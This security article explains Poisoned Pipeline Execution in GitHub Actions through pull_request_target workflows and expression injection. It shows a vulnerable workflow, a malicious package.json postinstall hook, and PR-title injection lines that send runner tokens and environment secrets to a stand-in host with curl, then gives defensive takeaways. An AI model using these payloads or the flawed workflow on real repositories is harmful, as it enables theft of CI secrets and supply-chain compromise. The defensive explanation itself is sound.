GitHub Actions: Poisoned Pipeline Execution

Article Hero

Overview & Threat Landscape#

In automated software delivery, GitHub Actions has become the de facto CI/CD orchestration engine for modern cloud-native projects. To protect repositories from untrusted code contributions, GitHub enforces an isolation boundary: by default, workflows triggered by the pull_request event from external forks execute with read-only tokens and cannot access sensitive repository secrets.

To support legitimate use cases—such as labeling pull requests, commenting on code reviews, or running integration tests with authorized credentials—GitHub introduced the pull_request_target event trigger. Unlike pull_request, workflows triggered by pull_request_target execute in the context of the base repository, inheriting read/write repository permissions and full access to production secrets (e.g., GITHUB_TOKEN, npm/PyPI publishing tokens, and cloud deployment credentials).

However, when developers combine pull_request_target with an explicit checkout of the untrusted fork's pull request code or evaluate untrusted context expressions inside run: blocks, they inadvertently bridge this security perimeter. This class of attack—classified under the OWASP Top 10 CI/CD Security Risks as CICD-SEC-4: Poisoned Pipeline Execution (PPE)—enables external contributors to execute arbitrary code within privileged CI/CD runners, exfiltrate deployment secrets, and tamper with release artifacts.

[!WARNING] Workflows triggered by pull_request_target run with the privileges and secrets of your base repository. Checking out untrusted fork code (ref: ${{ github.event.pull_request.head.sha }}) inside a pull_request_target workflow gives external pull request authors unilateral remote code execution within your privileged build runner.


Vulnerability & Attack Root-Cause Analysis#

The vulnerability stems from an architectural misunderstanding of workflow execution contexts. In GitHub Actions, security boundaries are defined by two elements:

  1. Trigger Context: What permissions and secrets are provisioned to the runner environment.
  2. Code Context: What source files and scripts are actually loaded and executed on the virtual machine.

Consider the common, flawed workflow below intended to run linting or testing on incoming pull requests:

YAML
## Flawed GitHub Actions Workflow: CVE Pattern
name: PR Lint and Test
on:
  pull_request_target:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout pull request code
        uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }} # DANGEROUS: Checks out untrusted fork code

      - name: Install dependencies
        run: |
          npm install # Executes preinstall / postinstall scripts from untrusted package.json

Because the workflow triggers on pull_request_target, the runner possesses write access and access to organizational secrets. By explicitly overriding the checkout reference to github.event.pull_request.head.sha, the runner downloads the attacker's modified repository code.

When npm install runs, npm automatically executes any lifecycle scripts (preinstall, install, postinstall) declared in the attacker's modified package.json. These scripts execute under the runner's user account, with full access to environment variables, memory, and disk.

sequenceDiagram
    autonumber
    participant Attacker as Adversary (Fork Author)
    participant GitHub as GitHub Actions Engine
    participant Runner as Privileged Runner (Base Repo Context)
    participant Exfil as Attacker C2 Server

    Attacker->>GitHub: Open Pull Request with malicious postinstall script in package.json
    GitHub->>Runner: Trigger workflow via pull_request_target event
    Note over GitHub,Runner: Runner receives base repo secrets and write tokens
    Runner->>GitHub: Checkout fork commit head.sha
    Runner->>Runner: Execute npm install (triggers malicious script)
    Note over Runner: Attacker code dumps process environment variables
    Runner->>Exfil: Exfiltrate GITHUB_TOKEN and deployment secrets via curl
    Attacker->>GitHub: Push compromised tags or hijack downstream releases

The second major root cause is Direct Expression Injection. When workflow steps interpolate untrusted context variables directly into bash command lines (such as ${{ github.event.pull_request.title }}), an attacker can inject shell metacharacters ($(...), ;, &&) to break out of the intended command syntax:

YAML
## Expression Injection Pattern
- name: Log PR Title
  run: echo "Processing PR: ${{ github.event.pull_request.title }}"

If an attacker names their pull request:

POWERSHELL
Fix typo"; curl -X POST https://attacker.c2/exfil -d "$(env)" #

The GitHub Actions runner dynamically renders the command string and executes the injected curl command during bash parsing.


Exploit Architecture & Trust Chain Compromise#

The diagram below details the operational attack flow from an initial external pull request to cloud production takeover:

flowchart TD
    subgraph ExternalAttacker ["External Adversary - Untrusted Fork"]
        MaliciousPR["Crafted Pull Request: Poisoned package.json & Shell Payload"]
    end

    subgraph GitHubEngine ["GitHub Actions Automation Engine"]
        TriggerEvaluation{"Event: pull_request_target?"}
        RunnerProvision["Provision Privileged Runner with Base Secrets"]
    end

    subgraph BuildRunner ["Privileged CI/CD Runner Environment"]
        CheckoutHead["Checkout: untrusted head.sha"]
        DependencyExecution["Execute: npm install lifecycle script"]
        SecretExtraction["Harvest: GITHUB_TOKEN & AWS_ROLE_ARN"]
    end

    subgraph CloudProduction ["Target Production Infrastructure"]
        StolenCreds["Assume Deployment Role via AWS OIDC / STS"]
        SupplyChainTamper["Inject Backdoor into Release Binaries"]
    end

    MaliciousPR --> TriggerEvaluation
    TriggerEvaluation -->|Triggers in Base Context| RunnerProvision
    RunnerProvision --> CheckoutHead
    CheckoutHead --> DependencyExecution
    DependencyExecution --> SecretExtraction
    SecretExtraction --> StolenCreds
    SecretExtraction --> SupplyChainTamper

Attack Path Step-by-Step#

Consider an enterprise repository maintaining an open-source library that automates release validation using pull_request_target.

Step 1: Forking and Weaponizing package.json#

The adversary forks the target repository and modifies package.json to attach a payload to the standard installation lifecycle hook:

JSON
{
  "name": "enterprise-sdk",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node -e 'const { execSync } = require(\"child_process\"); execSync(\"curl -s -X POST https://attacker.c2/harvest -d \\\"token=$ACTIONS_RUNTIME_TOKEN&secrets=$(env | base64)\\\"\");'"
  }
}

Step 2: Submitting the Pull Request#

The attacker submits a pull request against the base repository. Because the workflow triggers automatically on pull_request_target, the base repository starts the runner:

BASH
# Inspecting runner environment from the attacker C2 perspective
curl -s -X POST https://attacker.c2/harvest \
  -d "token=$ACTIONS_RUNTIME_TOKEN&secrets=$(env | base64)"

## Captured environment variables in the privileged runner:
## GITHUB_TOKEN=ghs_984f1a2b3c4d... (Scoped to base repo with write access)
## AWS_ROLE_ARN=arn:aws:iam::111122223333:role/ContinuousDeploymentRole
## ACTIONS_ID_TOKEN_REQUEST_URL=https://pipelines.actions.githubusercontent.com/...

Step 3: Minting Cloud OIDC Tokens#

Using the extracted ACTIONS_ID_TOKEN_REQUEST_URL and ACTIONS_ID_TOKEN_REQUEST_TOKEN, the attacker requests an arbitrary OpenID Connect (OIDC) identity token directly from GitHub's internal token service, assuming the base repository's cloud deployment role in AWS or GCP.

[!CAUTION] Once the attacker harvests the OIDC request credentials from runner memory, they can assume cloud deployment roles directly from external infrastructure until the workflow run concludes.


Fast Cyber Defense Morning Takeaways#

  1. Never Checkout Untrusted Fork Code in pull_request_target: Treat pull_request_target strictly as an event for read-only metadata inspection (e.g., checking titles, applying labels). If untrusted code must be built or tested, use standard pull_request.
  2. Eliminate Direct Expression Injection: Never evaluate ${{ github.event.* }} expressions directly inside inline run: scripts. Map them to intermediate environment variables to ensure strict literal string evaluation.
  3. Enforce Least-Privilege Workflow Permissions: Explicitly declare permissions: read-all at the root of every workflow, granting write capabilities only to isolated jobs that strictly require them.

Tonight in EDITION 2 (Night, 8:45 PM BST), we will publish the companion blue team guide:

  • Implementing the Two-Workflow Security Pattern (pull_request build paired with artifact upload and isolated workflow_run processing).
  • Deploying Static Analysis Linters (actionlint / zizmor) in pre-commit hooks to block injection patterns.
  • Enforcing Audit Logging and OIDC Subject Claim Pinning (job_workflow_ref) to prevent runner token abuse.

Authoritative Technical References#

Comments